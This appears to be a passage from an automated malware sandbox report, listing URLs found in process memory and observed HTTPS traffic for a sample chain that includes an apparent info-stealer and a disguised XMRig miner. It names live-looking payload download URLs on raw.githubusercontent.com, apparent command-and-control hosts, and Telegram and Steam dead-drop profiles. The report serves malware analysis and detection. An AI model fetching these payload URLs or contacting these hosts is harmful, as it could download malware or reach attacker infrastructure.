Source: chrome.exe, 00000032.00000003.2865205618.00000AD00469C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2863885318.00000AD003DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2866446888.00000AD004754000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2863555331.00000AD004680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2865055795.00000AD004680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000032.00000003.2822979654.00000AD0032D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822671160.00000AD0025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2823135016.00000AD00340C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000032.00000003.2822979654.00000AD0032D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822671160.00000AD0025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2823135016.00000AD00340C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000032.00000003.2784794181.00004ED800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2850257782.00004ED80080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000032.00000003.2785760346.00004ED8006E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000032.00000003.2850257782.00004ED80080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000032.00000003.2865205618.00000AD00469C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2863885318.00000AD003DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2866446888.00000AD004754000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2863555331.00000AD004680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2865055795.00000AD004680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: powershell.exe, 00000037.00000002.2853405452.0000000005DB5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003A.00000002.2894630097.00000000058B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: chrome.exe, 00000032.00000003.2865055795.00000AD004680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000032.00000003.2865568449.00000AD002498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000032.00000003.2865055795.00000AD004680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000032.00000003.2865055795.00000AD004680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: svchost.exe, 00000035.00000003.2789048457.00000120EC6F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 00000035.00000003.2789048457.00000120EC6A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: chrome.exe, 00000032.00000003.2816264268.00000AD002C48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000032.00000003.2816264268.00000AD002C48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000032.00000003.2816264268.00000AD002C48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000032.00000003.2816264268.00000AD002C48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000032.00000003.2816264268.00000AD002C48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000032.00000003.2822979654.00000AD0032D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2822671160.00000AD0025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2823135016.00000AD00340C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: d59846009d.exe, 00000033.00000002.2997822774.00000000027A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: d59846009d.exe, 00000033.00000002.2997822774.0000000002764000.00000004.00000800.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000002.2997822774.00000000027A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/biyjdfjadaw.exe
Source: d59846009d.exe, 00000033.00000002.2997822774.00000000027A6000.00000004.00000800.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000002.2997822774.0000000002752000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/ktyihkdfesf.exe
Source: d59846009d.exe, 00000033.00000002.2997822774.00000000027A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.comD
Source: skotes.exe, 00000006.00000002.3094333474.0000000001572000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000032.00000003.2842674025.00000AD002498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000032.00000003.2865205618.00000AD00469C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2863885318.00000AD003DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2866446888.00000AD004754000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2863555331.00000AD004680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2865055795.00000AD004680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: Dry.com, 00000011.00000002.3105087259.0000000003E81000.00000040.00001000.00020000.00000000.sdmp, Dry.com, 00000011.00000002.3092456644.000000000115D000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 00000011.00000002.3094195378.0000000001208000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 00000011.00000003.2594494843.0000000003B81000.00000004.00000800.00020000.00000000.sdmp, Dry.com, 00000011.00000003.2595246791.000000000123D000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 00000011.00000003.2594848558.0000000003E86000.00000004.00000800.00020000.00000000.sdmp, Dry.com, 00000011.00000003.2594615293.0000000001170000.00000004.00000020.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000002.2997822774.000000000279E000.00000004.00000800.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000002.3004074654.00000000037C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199809363512
Source: d59846009d.exe, 00000033.00000002.3004074654.00000000037C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199809363512m0nk3Mozilla/5.0
Source: Dry.com, 00000011.00000002.3180192425.0000000006A31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Dry.com, 00000011.00000002.3180192425.0000000006A31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Dry.com, 00000011.00000002.3103847193.0000000003E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Dry.com, 00000011.00000002.3103847193.0000000003E3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: Dry.com, 00000011.00000002.3103847193.0000000003E62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: Dry.com, 00000011.00000002.3103847193.0000000003E3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: Dry.com, 00000011.00000003.2594351178.0000000001187000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 00000011.00000003.2594718632.0000000001220000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 00000011.00000003.2594264428.0000000001220000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.m
Source: Dry.com, 00000011.00000002.3094195378.0000000001208000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: Dry.com, 00000011.00000003.2594351178.0000000001187000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 00000011.00000003.2594718632.0000000001220000.00000004.00000020.00020000.00000000.sdmp, Dry.com, 00000011.00000003.2594264428.0000000001220000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04
Source: Dry.com, 00000011.00000002.3094195378.000000000124A000.00000004.00000020.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000002.2997822774.000000000279E000.00000004.00000800.00020000.00000000.sdmp, d59846009d.exe, 00000033.00000002.3004074654.00000000037C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04ael
Source: Dry.com, 00000011.00000002.3094195378.000000000124A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04aelL
Source: d59846009d.exe, 00000033.00000002.3004074654.00000000037C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.me/k04aelm0nk3Mozilla/5.0
Source: Dry.com, 00000011.00000002.3094195378.000000000124A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbs
Source: Dry.com, 00000011.00000002.3097535633.0000000003B9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbs/
Source: Dry.com, 00000011.00000002.3097535633.0000000003B9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbs/1Ah
Source: Dry.com, 00000011.00000002.3097535633.0000000003B9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbs/dU8
Source: Dry.com, 00000011.00000002.3097535633.0000000003B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbs/ta
Source: Dry.com, 00000011.00000002.3105087259.000000000402C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbsY5XTR1D
Source: Dry.com, 00000011.00000002.3105087259.000000000402C000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbsata
Source: Dry.com, 00000011.00000002.3105087259.000000000401F000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbsc73e0ff43f217le
Source: Dry.com, 00000011.00000002.3105087259.0000000003EFC000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbsosh;
Source: Dry.com, 00000011.00000002.3105087259.0000000003F5D000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://toptek.sbsss.exe
Source: 73aaed44cf.exe, 00000031.00000002.2846056066.00000000033C0000.00000004.00000800.00020000.00000000.sdmp, 73aaed44cf.exe, 00000031.00000002.2843687495.0000000000D19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/
Source: 73aaed44cf.exe, 00000031.00000002.2846056066.00000000033C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/4
Source: 73aaed44cf.exe, 00000031.00000002.2846056066.00000000033DA000.00000004.00000800.00020000.00000000.sdmp, 73aaed44cf.exe, 00000031.00000002.2846056066.00000000033C0000.00000004.00000800.00020000.00000000.sdmp, 73aaed44cf.exe, 00000031.00000002.2843451744.0000000000C58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api
Source: 73aaed44cf.exe, 00000031.00000002.2846056066.00000000033DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apig
Source: 73aaed44cf.exe, 00000031.00000002.2846056066.00000000033DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click:443/api
Source: Dry.com, 00000011.00000002.3105087259.0000000003ECD000.00000040.00001000.00020000.00000000.sdmp, Dry.com, 00000011.00000002.3094195378.000000000124A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: Dry.com, 00000011.00000002.3136429007.00000000063F5000.00000004.00000800.00020000.00000000.sdmp, Dry.com, 00000011.00000002.3094195378.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: Dry.com, 00000011.00000002.3097535633.0000000003BF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Dry.com, 00000011.00000002.3136429007.00000000063F5000.00000004.00000800.00020000.00000000.sdmp, Dry.com, 00000011.00000002.3094195378.000000000128B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chrome.exe, 00000032.00000003.2842674025.00000AD002498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000032.00000003.2842674025.00000AD002498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000032.00000003.2842674025.00000AD002498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000032.00000003.2816761581.00000AD002F30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2813738204.00000AD002EE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/go-mobile/?ios-campaign=desktop-chr-ntp&android-campaign=desktop-chr-n
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: Dry.com, 00000011.00000002.3097535633.0000000003BF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000032.00000003.2865205618.00000AD00469C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2863885318.00000AD003DD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2866446888.00000AD004754000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2863555331.00000AD004680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2865055795.00000AD004680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000032.00000003.2865055795.00000AD004680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000032.00000003.2823135016.00000AD00340C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000032.00000003.2856032808.00000AD0038B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2855868798.00000AD0038A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2855805447.00000AD0038A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2855972950.00000AD0038AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000032.00000003.2846709355.00000AD00360C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000032.00000003.2842674025.00000AD002498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000032.00000003.2842674025.00000AD002498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000032.00000003.2865055795.00000AD004680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000032.00000003.2865205618.00000AD00469C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2864104660.00000AD004718000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2864491899.00000AD0046CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2866446888.00000AD004754000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2863555331.00000AD004680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000032.00000003.2865055795.00000AD004680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000032.00000003.2865055795.00000AD004680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otmEBJ358uU.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000032.00000003.2865055795.00000AD004680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd
Source: Dry.com, 00000011.00000002.3180192425.0000000006A31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: Dry.com, 00000011.00000002.3180192425.0000000006A31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: Dry.com, 00000011.00000002.3180192425.0000000006A31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Dry.com, 00000011.00000002.3180192425.0000000006A31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Dry.com, 00000011.00000002.3180192425.0000000006A31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: skotes.exe, 00000006.00000002.3094333474.0000000001537000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ssl.com/repository0
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000032.00000003.2793267074.00000AD002730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: Intel_PTT_EK_Recertification.exe, 0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002C.00000002.2637283491.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 0000003C.00000003.2903221399.0000016D2CD50000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: Intel_PTT_EK_Recertification.exe, 0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002C.00000002.2637283491.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 0000003C.00000003.2903221399.0000016D2CD50000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard
Source: Intel_PTT_EK_Recertification.exe, 0000002B.00000003.2630489913.000001691FC20000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002C.00000002.2637283491.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, Intel_PTT_EK_Recertification.exe, 0000003C.00000003.2903221399.0000016D2CD50000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/wizard%s

Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.130.188.57:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.113:443 -> 192.168.2.4:49878 version: TLS 1.2
